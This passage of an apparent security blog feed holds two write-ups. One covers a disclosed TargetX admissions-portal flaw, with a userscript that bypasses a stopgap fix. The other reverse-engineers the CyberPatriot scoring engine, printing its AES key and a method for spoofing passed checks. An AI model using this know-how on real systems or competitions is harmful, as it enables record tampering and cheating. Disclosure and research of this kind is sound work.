serves <strong>several schools</strong>. All of this research was because of my genuine interest in security, not because I wanted to get into a school through malicious means.</p><h1 id="investigation">Investigation</h1><p>The school I applied to that was using TargetX was the <a href="https://www.wpi.edu">Worcester Polytechnic Institute</a> in Worcester, Massachusetts. After submitting my application on the Common App, an online portal used to apply to hundreds of schools, I received an email to register on their admissions portal. The URL was the first thing that shot out at me, <a href="https://wpicommunity.**force.com**/apply">https://wpicommunity.**force.com**/apply</a>. Force.com reminded me of Salesforce and at first I didn&apos;t think Salesforce did college admissions portals. Visiting force.com brought me to their product page for their &quot;Lightning Platform&quot; software. It looked like it was a website building system for businesses. I thought the college might have made their own system, but when I looked at the source of the registration page it referred to something else called TargetX. This is how I found out that TargetX was simply using Salesforce&apos;s &quot;Lightning Platform&quot; to create a college admissions portal.</p><p>After registering, I started to analyze what was being accessed. At the same time, I was considering that this was a Salesforce Lightning Platform. First, I found their REST api platform hinged on a route called &quot;apexremote&quot;, this turned out to be Salesforce&apos;s way of exposing classes to clients through REST. <a href="https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_rest_intro.htm">Here</a> is the documentation for that. Fortunately, WPI had configured it correctly so that you could only access API&apos;s that you were supposed to access and it was pretty shut down. I thought about other API&apos;s Salesforce might expose and found out they had a <a href="https://developer.salesforce.com/docs/atlas.en-us.api_rest.meta/api_rest/intro_what_is_rest_api.htm">separate REST/SOAP API</a> too. In WPI&apos;s case, they did a good job restricting this API from student users, but in general this is a great attack vector (I found this API exposed on a different Salesforce site).</p><p>After digging through several javascript files and learning more about the platform, I found out that Salesforce had a user interface backend system. I decided to try to access it and so I tried a random URL: <code>/apply/_ui/search/ui/aaaaa</code>. This resulted in a page that looked like this:</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2023/12/image.png" class="kg-image" alt="Hacking College Admissions" loading="lazy" width="1097" height="175" srcset="https://billdemirkapi.me/content/images/size/w600/2023/12/image.png 600w, https://billdemirkapi.me/content/images/size/w1000/2023/12/image.png 1000w, https://billdemirkapi.me/content/images/2023/12/image.png 1097w" sizes="(min-width: 720px) 720px"></figure><p>It looked like a standard 404 page. What caught my eye was the search bar on the top right. I started playing around with the values and found out it supported basic wildcards. I typed my name and used an asterick to see if I could find anything.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2023/12/image-1.png" class="kg-image" alt="Hacking College Admissions" loading="lazy" width="926" height="609" srcset="https://billdemirkapi.me/content/images/size/w600/2023/12/image-1.png 600w, https://billdemirkapi.me/content/images/2023/12/image-1.png 926w" sizes="(min-width: 720px) 720px"></figure><p>Sorry for censoring, but the details included some sensitive details. It seemed as though I could access my own &quot;Application Form&quot; and contact. I was not able to access the application of any other students which gave a sigh of relief, but it soon turned out that just being able to access my own application was severe enough.</p><p>After clicking on my name in the People section, I saw that there was an application record assigned to me. I clicked on it and then it redirected me to a page with a significant amount of information.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2023/12/image-2.png" class="kg-image" alt="Hacking College Admissions" loading="lazy" width="1187" height="742" srcset="https://billdemirkapi.me/content/images/size/w600/2023/12/image-2.png 600w, https://billdemirkapi.me/content/images/size/w1000/2023/12/image-2.png 1000w, https://billdemirkapi.me/content/images/2023/12/image-2.png 1187w" sizes="(min-width: 720px) 720px"></figure><p>Here&apos;s a generalized list of everything I was able to access:</p><pre><code>General application information
Decision information (detailed list of different considered factors)
Decision dates
Financial Aid information
GPA
Enrollment information
Decision information (misc. options i.e to show decision or not)
Recommendations (able to view them)
SAT / ACT Scores
High school transcript
Perosnal statement
Application fee</code></pre><p>Here&apos;s where it gets even worse, I can <strong>edit everything</strong> I just listed above. For example:</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2023/12/image-3.png" class="kg-image" alt="Hacking College Admissions" loading="lazy" width="544" height="240"></figure><p>Don&apos;t worry, I didn&apos;t accept myself into any schools or make my SAT Scores a 1600.</p><h1 id="initial-contact">Initial contact</h1><p>After finding this vulnerability, I <strong>immediately</strong> reached out to WPI&apos;s security team the same day to let them know about the vulnerabilities I found. They were very receptive and within a day they applied their first &quot;patch&quot;. Whenever I tried accessing the backend panel, I would see my screen flash for a quick second and then a 404 Message popped up.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2023/12/image-4.png" class="kg-image" alt="Hacking College Admissions" loading="lazy" width="643" height="333" srcset="https://billdemirkapi.me/content/images/size/w600/2023/12/image-4.png 600w, https://billdemirkapi.me/content/images/2023/12/image-4.png 643w"></figure><p>The flash had me interested, upon reading the source code of the page, I found all the data still there! I was very confused and diff&apos;d the source code with an older copy I had saved. This is the javascript blocked that got added:</p><pre><code class="language-javascript">if (typeof sfdcPage != &apos;undefined&apos;) {
    if (window.stop) {
        window.stop();
    } else {
        document.execCommand(&quot;Stop&quot;);
    }
    /*lil too much*/
    if (typeof SimpleDialog != &apos;undefined&apos;) {
        var sd = new SimpleDialog(&quot;Error&quot; + Dialogs.getNextId(), false);
        sd.setTitle(&quot;Error&quot;);
        sd.createDialog();
        window.parent.sd = sd;
        sd.setContentInnerHTML(&quot;&lt;p align=&apos;center&apos;&gt;&lt;img src=&apos;/img/msg_icons/error32.png&apos; style=&apos;margin:0 5px;&apos;/&gt;&lt;/p&gt;&lt;p align=&apos;center&apos;&gt;404 Page not found.&lt;/p&gt;&lt;p align=&apos;center&apos;&gt;&lt;br /&gt;&lt;/p&gt;&quot;);
        sd.show();
    }
    document.title = &quot;Error 404&quot;;
}</code></pre><p>This gave me a good chuckle. What they were doing was stopping the page from loading and then replacing the HTML with a 404 error. I could just use NoScript, but I decided to create a simple userscript to disable their tiny &quot;fix&quot;.</p><pre><code class="language-javascript">(function() {
    &apos;use strict&apos;;

    if(document.body.innerHTML.includes(&quot;404 Page not found.&quot;)) {
        window.stop();
        const xhr = new XMLHttpRequest();
        xhr.open(&apos;GET&apos;, window.location.href);
        xhr.onload = () =&gt; {
            var modified_html = xhr.responseText
            .replace(/&lt;script\b[\s\S]*?&lt;\/script&gt;/g, s =&gt; {
                if (s.includes(&quot;lil too much&quot;))
                    return &quot;&quot;; // Return nothing for the script content
                return s;
            });
            document.open();
            document.write(modified_html);
            document.close();
        };
        xhr.send();
    }
})();</code></pre><p>Basically, this userscript will re-request the page and remove any &quot;404&quot; script blocks then set the current page to the updated html. It worked great and bypassed their fix. As suspected, WPI only put a &quot;band aid over the issue&quot; to stop any immediate attacks. What I later learned when looking at some other schools was that TargetX themselves added the script under the name &quot;TXPageStopper&quot; - this wasn&apos;t just WPI&apos;s fix.</p><p>It&apos;s important to note that if you tried this today, sure the 404 page would be removed, but nothing is accessible. They&apos;ve had this patch since January and after doing a real patch to fix the actual issue, they just never removed the 404 page stopper.</p><h1 id="remediation">Remediation?</h1><p>This is going to be a small section about my interactions with WPI after sending them the vulnerability details. I first found and reported this vulnerability back in January, specifically the third. WPI was very responsive (often replied within hours). I contacted them on February 14th again asking how the vulnerability patch was going and whether or not this was a vulnerability in <em>only</em> WPI or it was a vulnerability in TargetX too. Again within an hour, WPI responded saying that they have fixed the issues and that they had a &quot;final meeting set up for the incident review&quot;. They said, &quot;It was a combination of a TargetX vulnerability as well as tightening up some of our security settings&quot;.</p><p>I immediately (within 8 minutes) replied to their email asking for the TargetX side of the vulnerability to apply for a CVE. This is when things turned sour. Five days past and there was no reply. I sent a follow-up email to check in. I sent another follow up the next week and the week after that. Complete radio silence. By March 16th, I decided to send a final email letting them know that I had intended to publish about the vulnerability that week, but this time I CC&apos;d the boss of the person I was in contact with.</p><p>Within a day, on a Sunday, the boss replied saying that they had not been aware that I was waiting on information. This is specifically what that email said:</p><blockquote>We will reach out to TargetX tomorrow and determine and confirm the exact details of what we are able to release to you. I will be in touch in a day or two with additional information once we have talked with TargetX. We would prefer that you not release any blog posts until we can follow-up with TargetX. Thank you.</blockquote><p>Of course if the vulnerability had not been completely patched yet, I did not want to bring any attention to it. I sent back an email appreciating their response and that I looked forward to their response.</p><p>A week past. I sent a follow up email asking on the status of things. No response. I sent another follow up the next week and this time I mentioned that I again was planning to publish. <strong>Radio silence.</strong></p><p>It has been about a week since I sent that email and because I have had no response from them, I decided to publish given that they had said they had patched the vulnerability and because I could not extract any more data.</p><h1 id="other-schools-impacted">Other schools impacted</h1><p>I named this post &quot;Hacking College Admissions&quot; because this vulnerability was not just in WPI. Besides WPI confirming this to me themselves, I found similar vulnerabilities in other schools that were using the TargetX platform.</p><p>To find other schools impacted, I found all of the subdomains of <strong>force.com</strong> and tried to find universities. I am sure I missed some schools, but this is a small list of the other schools affected.</p><pre><code>Antioch University
Arcadia University
Averett University
Bellevue University
Berklee College of Music
Boston Architechtural College
Boston University
Brandman University
Cabrini University
California Baptist University
California School Of The Arts, San Gabriel Valley
Cardinal University
City Year
Clarion University of Pennsylvania
Columbia College
Concordia University, Irvine
Concordia University, Montreal
Concordia University, Oregon
Concordia University, Texas
Delaware County Community College
Dominican University
ESADE Barcelona
East Oregon University
Eastern University
Embry-Riddle Aeronautical University
Fashion Institute of Design &amp; Merchandising
George Mason University
George Washington University
Grove City College
Harvard Kennedy School
Hood College
Hope College
Illinois Institute of Technology
International Technological University
Johnson &amp; Wales University
Keene State College
Laguna College
Lebanon Valley College
Lehigh Carbon Community College
London School of Economics and Political Science
Mary Baldwin University
Master&apos;s University
Morovian College
Nazareth College
New York Institute of Technology
Oregon State University
Pepperdine University
Piedmont College
Plymouth State University
Regis College
Saint Mary&apos;s University of Minnesota
Simpson University
Skagit Valley College
Summer Discovery
Texas State Technical College
Townson University
USC Palmetto College
University of Akron
University of Arizona, Eller MBA
University of California, Davis
University of California, San Diego
University of California, Santa Barbara
University of Dayton
University of Houston
University of Maine
University of Michigan-Dearborn
University of Nevada, Reno
University of New Hampshire
University of New Haven
University of Texas, Dallas
University of Virginia
University of Washington
Universwity of Alabama, Birmingham
West Virginia University
Western Connecticut University
Western Kentucky University
Western Michigan University
Wisconsin Indianhead Technical College
Worcester Polytechnic Institute
Wright State University</code></pre><p>There are some schools that appeared to be running on the same Salesforce platform, but on a custom domain which is probably why I missed schools.</p><h1 id="conclusion">Conclusion</h1><p>It turns out, having lots of money isn&apos;t the only way to get into your dream college and yes, you can &quot;Hack yourself into a school&quot;. The scary part about my findings was that at least WPI was vulnerable since they implemented the Salesforce system in 2012. Maybe students should be taking a better look at the systems around them, because all I can imagine is if someone found something like this and used it to cheat the system.</p><p>I hope you enjoyed the article and feel free to message me if you have any questions.</p>]]></content:encoded></item><item><title><![CDATA[Reversing the CyberPatriot National Competition Scoring Engine]]></title><description><![CDATA[<h3 id="edit-4-12-2019">Edit 4/12/2019</h3><p>Originally, I published this post a month ago. After my post, I received a kind email from one of the primary developers for CyberPatriot asking that I take my post down until they can change their encryption algorithm. Given that the national competition for CyberPatriot XI</p>]]></description><link>https://billdemirkapi.me/reversing-the-cyberpatriot-national-competition/</link><guid isPermaLink="false">60276d2c81d551a2be3a2200</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Fri, 12 Apr 2019 22:10:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/cyberpatriot-1518277061-1236.jpg" medium="image"/><content:encoded><![CDATA[<h3 id="edit-4-12-2019">Edit 4/12/2019</h3><img src="https://billdemirkapi.me/content/images/2021/02/cyberpatriot-1518277061-1236.jpg" alt="Reversing the CyberPatriot National Competition Scoring Engine"><p>Originally, I published this post a month ago. After my post, I received a kind email from one of the primary developers for CyberPatriot asking that I take my post down until they can change their encryption algorithm. Given that the national competition for CyberPatriot XI was in a month, I decided to take the post down until after national competitions completed. National competitions ended yesterday which is why I am re-publishing this write up now.</p><h3 id="disclaimer">Disclaimer</h3><p>This article pertains to the competitions prior to 2018, as I have stopped participating in newer competitions and therefore no longer subject to the competition&#x2019;s rule book. This information is meant for educational use only and as fair use commentary for the competition in past years.</p><h2 id="preface">Preface</h2><p>CyberPatriot is the air force association&apos;s &quot;national youth cyber education program&quot;. The gist of the competition is that competitors (teams around the nation) are given virtual machines that are vulnerable usually due to configuration issues or malicious files. Competitors must find and patch these holes to gain points.</p><p>The points are calculated by the CyberPatriot Scoring Engine, a program which runs on the vulnerable virtual machine and does routine checks on different aspects of the system that are vulnerable to see if they were patched.</p><p>I am a high school senior who participated in the competition 2015-2016, 2016-2017, 2017-2018 for a total of 3 years. My team got to regionals consistently and once got under the 12th place cut-off for an hour. The furthest my team got was regionals (once even got under 12th place for a good hour, which is the cut off for nationals). I did not participate this year because unfortunately the organization which was hosting CyberPatriot teams, ours included, stopped due to the learning curve.</p><p>This all started when I was cleaning up my hard drive to clear up some space. I found an old folder called &quot;CyberPatriot Competition Images&quot; and decided to take a look. In the years I was competing in CyberPatriot, I had some reversing knowledge, but it was nothing to compared to what I can do today. I thought it would be a fun experiment to take a look at the most critical piece of the CyberPatriot infrastructure - the scoring engine. In this article, I&apos;m going to be taking an in-depth look into the CyberPatriot scoring engine, specifically for the 2017-2018 (CyberPatriot X) year.</p><h3 id="general-techniques">General Techniques</h3><p>If all you wanted to do is see what the engine accesses, the easiest way would be to hook different Windows API functions such as CreateFileW or RegOpenKeyExA. The reason I wanted to go deeper is that you don&apos;t see what they&apos;re actually checking, which is the juicy data we want.</p><h3 id="reversing">Reversing</h3><p>When the Scoring Engine first starts, it initially registers service control handlers and does generic service status updates. The part we are interested in is when it first initializes.</p><p>Before the engine can start scanning for vulnerabilities, it needs to know what to check and where to send the results of the checks to. The interesting part of the Scoring Engine is that this information <strong>is stored offline</strong>. This means, everything the virtual machine you are using will check is stored on disk and does not require an internet connection. This somewhat surprised me because storing the upload URL and other general information on disk makes sense, but storing what&apos;s going to be scored?</p><p>After initializing service related classes, the engine instantiates a class that will contain the parsed information from the local scoring data. Local scoring data is stored (encrypted) in a file called &quot;ScoringResource.dat&quot;. This file is typically stored in the &quot;<code>C:\CyberPatriot</code>&quot; folder in the virtual machine.</p><p>The Scoring Data needs to be decrypted and parsed into the information class. This happens in a function I call &quot;<code>InitializeScoringData</code>&quot;. At first, the function can be quite overwhelming due to its size. It turns out, only the first part does the decryption of the Scoring Data, the rest is just parsing through the XML (the Scoring Data is stored in XML format). The beginning of the &quot;<code>InitializeScoringData</code>&quot; function finds the path to the &quot;<code>ScoringResource.dat</code>&quot; file by referencing the path of the current module (&quot;<code>CCSClient.exe</code>&quot;, the scoring engine, is in the same folder as the Scoring Data). For encryption and decryption, the Scoring Engine uses the Crypto++ library (version 5.6.2) and uses AES-GCM. After finding the name of the &quot;<code>ScoringResource.dat</code>&quot; file, the engine initializes the CryptContext for decryption.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2023/12/image-5.png" class="kg-image" alt="Reversing the CyberPatriot National Competition Scoring Engine" loading="lazy" width="1024" height="694" srcset="https://billdemirkapi.me/content/images/size/w600/2023/12/image-5.png 600w, https://billdemirkapi.me/content/images/size/w1000/2023/12/image-5.png 1000w, https://billdemirkapi.me/content/images/2023/12/image-5.png 1024w" sizes="(min-width: 720px) 720px"></figure><p>The function above initializes the cryptographic context that the engine will later use for decryption. I opted to go with a screenshot to show how the AES Key is displayed in IDA Pro. The AES Key Block starts at <code>Context + 0x4</code> and is 16 bytes. Following endianness, the key ends up being <code>0xB, 0x50, 0x96, 0x92, 0xCA, 0xC8, 0xCA, 0xDE, 0xC8, 0xCE, 0xF6, 0x76, 0x95, 0xF5, 0x1E, 0x99</code> starting at the <code>*(_DWORD*)(Context + 4)</code> to the <code>*(_DWORD*)(Context + 0x10)</code>.</p><p>After initializing the cryptographic context, the Decrypt function will check that the encrypted data file exists and enter a function I call &quot;<code>DecryptData</code>&quot;. This function is not only used for decrypting the Scoring Data, but also Scoring Reports.</p><p>The &quot;<code>DecryptData</code>&quot; function starts off by reading in the Scoring Data from the &quot;<code>ScoringResource.dat</code>&quot; file using the boost library. It then instantiates a new &quot;<code>CryptoPP::StringSink</code>&quot; and sets the third argument to be the output string. StringSink&apos;s are a type of object CryptoPP uses to output to a string. For example, there is also a FileSink if you want to output to a file. The &quot;<code>DecryptData</code>&quot; function then passes on the CryptContext, FileBuffer, FileSize, and the StringSink to a function I call &quot;<code>DecryptBuffer</code>&quot;.</p><p>The &quot;<code>DecryptBuffer</code>&quot; function first checks that the file is greater than 28 bytes, if it is not, it does not bother decrypting. The function then instantiates a &quot;<code>CryptoPP::BlockCipherFinal</code>&quot; for the AES Class and sets the key and IV. The interesting part is that the IV used for AES Decryption is the <strong>first 12 bytes</strong> of the file we are trying to decrypt. These bytes are not part of the encrypted content and should be disregarded when decrypting the buffer. If you remember, the key for the AES decryption was specified in the initialize CryptoPP function.</p><p>After setting the key and IV used for the AES decryption, the function instantiates a &quot;<code>CryptoPP::ZlibDecompressor</code>&quot;. It turns out that the Scoring Data is deflated with Zlib before being encrypted, thus to get the Scoring Data, the data must be inflated again. This Decompressor is attached to the &quot;<code>StreamTransformationFilter</code>&quot; so that after decryption and before the data is put into the OutputString, the data is inflated.</p><p>The function starts decrypting by pumping the correct data into different CryptoPP filters. AES-GCM verifies the hash of the file as you decrypt, which is why you&apos;ll hear me referring to the &quot;<code>HashVerificationFilter</code>&quot;. The &quot;<code>AuthenticatedDecryptionFilter</code>&quot; decrypts and the &quot;<code>StreamTransformationFilter</code>&quot; allows the data to be used in a pipeline.</p><p>First, the function inputs the last 16 bytes of the file into the &quot;<code>HashVerificationFilter</code>&quot; and also the IV. Then, it inputs the file contents after the 12th byte into the &quot;<code>AuthenticatedDecryptionFilter</code>&quot; which subsequently pipes it into the &quot;<code>StreamTransformationFilter</code>&quot; which inflates the data on-the-go. If the &quot;<code>HashVerificationFilter</code>&quot; does not throw an error, it returns that the decryption succeeded.</p><p>The output buffer now contains the XML Scoring Data. Here is the format it takes:</p><pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;CyberPatriotResource&gt;
  &lt;ResourceID&gt;&lt;/ResourceID&gt;
  &lt;Tier/&gt;
  &lt;Branding&gt;CyberPatriot&lt;/Branding&gt;
  &lt;Title&gt;&lt;/Title&gt;
  &lt;TeamKey&gt;&lt;/TeamKey&gt;
  &lt;ScoringUrl&gt;&lt;/ScoringUrl&gt;
  &lt;ScoreboardUrl&gt;&lt;/ScoreboardUrl&gt;
  &lt;HideScoreboard&gt;true&lt;/HideScoreboard&gt;
  &lt;ReadmeUrl/&gt;
  &lt;SupportUrl/&gt;
  &lt;TimeServers&gt;
    &lt;Primary&gt;&lt;/Primary&gt;
    &lt;Secondary&gt;http://time.is/UTC&lt;/Secondary&gt;
    &lt;Secondary&gt;http://nist.time.gov/&lt;/Secondary&gt;
    &lt;Secondary&gt;http://www.zulutime.net/&lt;/Secondary&gt;
    &lt;Secondary&gt;http://time1.ucla.edu/home.php&lt;/Secondary&gt;
    &lt;Secondary&gt;http://viv.ebay.com/ws/eBayISAPI.dll?EbayTime&lt;/Secondary&gt;
    &lt;Secondary&gt;http://worldtime.io/current/utc_netherlands/8554&lt;/Secondary&gt;
    &lt;Secondary&gt;http://www.timeanddate.com/worldclock/timezone/utc&lt;/Secondary&gt;
    &lt;Secondary&gt;http://www.thetimenow.com/utc/coordinated_universal_time&lt;/Secondary&gt;
    &lt;Secondary&gt;http://www.worldtimeserver.com/current_time_in_UTC.aspx&lt;/Secondary&gt;
  &lt;/TimeServers&gt;
  &lt;DestructImage&gt;
    &lt;Before&gt;&lt;/Before&gt;
    &lt;After&gt;&lt;/After&gt;
    &lt;Uptime/&gt;
    &lt;Playtime/&gt;
    &lt;InvalidClient&gt;&lt;/InvalidClient&gt;
    &lt;InvalidTeam/&gt;
  &lt;/DestructImage&gt;
  &lt;DisableFeedback&gt;
    &lt;Before&gt;&lt;/Before&gt;
    &lt;After&gt;&lt;/After&gt;
    &lt;Uptime/&gt;
    &lt;Playtime/&gt;
    &lt;NoConnection&gt;&lt;/NoConnection&gt;
    &lt;InvalidClient&gt;&lt;/InvalidClient&gt;
    &lt;InvalidTeam&gt;&lt;/InvalidTeam&gt;
  &lt;/DisableFeedback&gt;
  &lt;WarnAfter/&gt;
  &lt;StopImageAfter/&gt;
  &lt;StopTeamAfter/&gt;
  &lt;StartupTime&gt;60&lt;/StartupTime&gt;
  &lt;IntervalTime&gt;60&lt;/IntervalTime&gt;
  &lt;UploadTimeout&gt;24&lt;/UploadTimeout&gt;
  &lt;OnPointsGained&gt;
    &lt;Execute&gt;C:\CyberPatriot\sox.exe C:\CyberPatriot\gain.wav -d -q&lt;/Execute&gt;
    &lt;Execute&gt;C:\CyberPatriot\CyberPatriotNotify.exe You Gained Points!&lt;/Execute&gt;
  &lt;/OnPointsGained&gt;
  &lt;OnPointsLost&gt;
    &lt;Execute&gt;C:\CyberPatriot\sox.exe C:\CyberPatriot\alarm.wav -d -q&lt;/Execute&gt;
    &lt;Execute&gt;C:\CyberPatriot\CyberPatriotNotify.exe You Lost Points.&lt;/Execute&gt;
  &lt;/OnPointsLost&gt;
  &lt;AutoDisplayPoints&gt;true&lt;/AutoDisplayPoints&gt;
  &lt;InstallPath&gt;C:\CyberPatriot&lt;/InstallPath&gt;
  &lt;TeamConfig&gt;ScoringConfig&lt;/TeamConfig&gt;
  &lt;HtmlReport&gt;ScoringReport&lt;/HtmlReport&gt;
  &lt;HtmlReportTemplate&gt;ScoringReportTemplate&lt;/HtmlReportTemplate&gt;
  &lt;XmlReport&gt;ScoringData/ScoringReport&lt;/XmlReport&gt;
  &lt;RedShirt&gt;tempfile&lt;/RedShirt&gt;
  &lt;OnInstall&gt;
    &lt;Execute&gt;cmd.exe /c echo Running installation commands&lt;/Execute&gt;
  &lt;/OnInstall&gt;
  &lt;ValidClient&gt; &lt;--! Requirements for VM --&gt;
    &lt;ResourcePath&gt;C:\CyberPatriot\ScoringResource.dat&lt;/ResourcePath&gt;
    &lt;ClientPath&gt;C:\CyberPatriot\CCSClient.exe&lt;/ClientPath&gt;
    &lt;ClientHash&gt;&lt;/ClientHash&gt;
    &lt;ProductID&gt;&lt;/ProductID&gt;
    &lt;DiskID&gt;&lt;/DiskID&gt;
    &lt;InstallDate&gt;&lt;/InstallDate&gt;
  &lt;/ValidClient&gt;
  &lt;Check&gt;
    &lt;CheckID&gt;&lt;/CheckID&gt;
    &lt;Description&gt;&lt;/Description&gt;
    &lt;Points&gt;&lt;/Points&gt;
    &lt;Test&gt;
      &lt;Name&gt;&lt;/Name&gt;
      &lt;Type&gt;&lt;/Type&gt;
      &lt;&lt;!--TYPE DATA--&gt;&gt;&lt;/&lt;!--TYPE DATA--&gt;&gt; &lt;!-- Data that is the specified type --&gt;
    &lt;/Test&gt;
    &lt;PassIf&gt;
      &lt;&lt;!--TEST NAME--&gt;&gt;
        &lt;Condition&gt;&lt;/Condition&gt;
        &lt;Equals&gt;&lt;/Equals&gt;
      &lt;/&lt;!--TEST NAME--&gt;&gt;
    &lt;/PassIf&gt;
  &lt;/Check&gt;
  &lt;Penalty&gt;
    &lt;CheckID&gt;&lt;/CheckID&gt;
    &lt;Description&gt;&lt;/Description&gt;
    &lt;Points&gt;&lt;/Points&gt;
    &lt;Test&gt;
      &lt;Name&gt;&lt;/Name&gt;
      &lt;Type&gt;&lt;/Type&gt;
      &lt;&lt;!--TYPE DATA--&gt;&gt;&lt;/&lt;!--TYPE DATA--&gt;&gt; &lt;!-- Data that is the specified type --&gt;
    &lt;/Test&gt;
    &lt;PassIf&gt;
      &lt;&lt;!--TEST NAME--&gt;&gt;
        &lt;Condition&gt;&lt;/Condition&gt;
        &lt;Equals&gt;&lt;/Equals&gt;
      &lt;/&lt;!--TEST NAME--&gt;&gt;
    &lt;/PassIf&gt;
  &lt;/Penalty&gt;
  &lt;AllFiles&gt;
    &lt;FilePath&gt;&lt;/FilePath&gt;
    ...
  &lt;/AllFiles&gt;
  &lt;AllQueries&gt;
    &lt;Key&gt;&lt;/Key&gt;
    ...
  &lt;/AllQueries&gt;
&lt;/CyberPatriotResource&gt;
</code></pre><p>The check XML elements tell you exactly what they check for. I don&apos;t have the Scoring Data for this year because I did not participate, but here are some XML Scoring Data files for past years:</p><p><strong>2016-2017 CP-IX High School Round 2 Windows 8:</strong> <a href="https://gist.github.com/D4stiny/2367313096c5a09cae2b1269fda02052">Here</a></p><p><strong>2016-2017 CP-IX High School Round 2 Windows 2008:</strong> <a href="https://gist.github.com/D4stiny/03a5e27fe5bee7990e91cb0251e009d7">Here</a></p><p><strong>2016-2017 CP-IX HS State Platinum Ubuntu 14:</strong> <a href="https://gist.github.com/D4stiny/4ef8fe2ea744b9f149ac34c144bd6a3d">Here</a></p><p><strong>2017-2018 CP-X Windows 7 Training Image:</strong> <a href="https://gist.github.com/D4stiny/2b0ef7ddb8375205de120c9146290265">Here</a></p><h2 id="tool-to-decrypt">Tool to decrypt</h2><p>This is probably what a lot of you are looking for, just drag and drop an encrypted &quot;<code>ScoringResource.dat</code>&quot; onto the program, and the decrypted version will be printed. If you don&apos;t want to compile your own version, there is a compiled binary in the Releases section.</p><p><strong>Github Repo</strong>: <a href="https://github.com/D4stiny/CyberPatriot-Decrypt">Here</a></p><h2 id="continuing-reversing">Continuing reversing</h2><p>After the function decrypts the buffer of Scoring Data, the &quot;<code>InitializeScoringData</code>&quot; parses through it and fills the information class with the data from the XML. The &quot;<code>InitializeScoringData</code>&quot; is only called once at the beginning of the engine and is not called again.</p><p>From then on, until the service receives the STOP message, it constantly checks to see if a team patched a vulnerability. In the routine function, the engine checks if the scoring data was initialized/decrypted, and if it wasn&apos;t, decrypts again. This is when the second check is done to see whether or not the image should be destructed. The factors it checks includes checking the time, checking the DestructImage object of the XML Scoring Data, etc.</p><p>If the function decides to destruct the image, it is quite amusing what it does...</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2023/12/image-6.png" class="kg-image" alt="Reversing the CyberPatriot National Competition Scoring Engine" loading="lazy" width="517" height="536"></figure><p>The first if statement checks whether or not to destruct the image, and if it should destruct, it starts:</p><ul><li>Deleting registry keys and the sub keys under them such as &quot;<code>SOFTWARE\\Microsoft\\Windows NT</code>&quot;, &quot;<code>SOFTWARE\\Microsoft\\Windows</code>&quot;, &quot;<code>&quot;SOFTWARE\\Microsoft</code>&quot;, &quot;<code>SOFTWARE\\Policies</code>&quot;, etc.</li><li>Deleting files in critical system directories such as &quot;<code>C:\\Windows</code>&quot;, &quot;<code>C:\\Windows\\System32</code>&quot;, etc.</li><li>Overwriting the first 200 bytes of your first physical drive with NULL bytes.</li><li>Terminating every process running on your system.</li></ul><p>As you can see in the image, it strangely repeats these functions over and over again before exiting. I guess they&apos;re quite serious when they say don&apos;t try to run the client on your machine.</p><p>After checking whether or not to destroy a system, it checks to see if the system is shutting down. If it is not, then it enters a while loop which executes the checks from the Scoring Data XML. It does this in a function I call &quot;<code>ExecuteCheck</code>&quot;.</p><p>The function &quot;<code>ExecuteCheck</code>&quot; essentially loops every pass condition for a check and executes the check instructions (i.e <code>C:\trojan.exe Exists Equals true</code>). I won&apos;t get into the nuances of this function, but this is an important note if you want to spoof that the check passed. The <code>check + 0x54</code> is a byte which indicates whether or not it passed. Set it to 1 and the engine will consider that check to be successful.</p><p>After executing every check, the engine calls a function I call &quot;<code>GenerateScoringXML</code>&quot;. This function takes in the data from the checks and generates an XML file that will be sent to the scoring server. It loops each check/penalty and checks the <code>check + 0x54</code> byte to see if it passed. This XML is also stored in encrypted data files under &quot;<code>C:\CyberPatriot\ScoringData\*.dat</code>&quot;. Here is what a scoring XML looks like (you can use my decrypt program on these data files too!):</p><pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;CyberPatriot&gt;
  &lt;ResourceID&gt;&lt;/ResourceID&gt;
  &lt;TeamID/&gt;
  &lt;Tier/&gt;
  &lt;StartTime&gt;&lt;/StartTime&gt;
  &lt;VerifiedStartTime&gt;&lt;/VerifiedStartTime&gt;
  &lt;BestStartTime&gt;&lt;/BestStartTime&gt;
  &lt;TeamStartTime/&gt;
  &lt;ClientTime&gt;&lt;/ClientTime&gt;
  &lt;ImageRunningTime&gt;&lt;/ImageRunningTime&gt;
  &lt;TeamRunningTime&gt;&lt;/TeamRunningTime&gt;
  &lt;Nonce&gt;&lt;/Nonce&gt;
  &lt;Seed&gt;&lt;/Seed&gt;
  &lt;Mac&gt;&lt;/Mac&gt;
  &lt;Cpu&gt;&lt;/Cpu&gt;
  &lt;Uptime&gt;&lt;/Uptime&gt;
  &lt;Sequence&gt;1&lt;/Sequence&gt;
  &lt;Tampered&gt;false&lt;/Tampered&gt;
  &lt;ResourcePath&gt;C:\CyberPatriot\ScoringResource.dat&lt;/ResourcePath&gt;
  &lt;ResourceHash&gt;&lt;/ResourceHash&gt;
  &lt;ClientPath&gt;C:\CyberPatriot\CCSClient.exe&lt;/ClientPath&gt;
  &lt;ClientHash&gt;&lt;/ClientHash&gt;
  &lt;InstallDate&gt;&lt;/InstallDate&gt;
  &lt;ProductID&gt;&lt;/ProductID&gt;
  &lt;DiskID&gt;&lt;/DiskID&gt;
  &lt;MachineID&gt;&lt;/MachineID&gt;
  &lt;DPID&gt;&lt;/DPID&gt;
  &lt;Check&gt;
    &lt;CheckID&gt;&lt;/CheckID&gt;
    &lt;Passed&gt;0&lt;/Passed&gt;
  &lt;/Check&gt;
  &lt;Penalty&gt;
    &lt;CheckID&gt;&lt;/CheckID&gt;
    &lt;Passed&gt;0&lt;/Passed&gt;
  &lt;/Penalty&gt;
  &lt;TotalPoints&gt;0&lt;/TotalPoints&gt;
&lt;/CyberPatriot&gt;
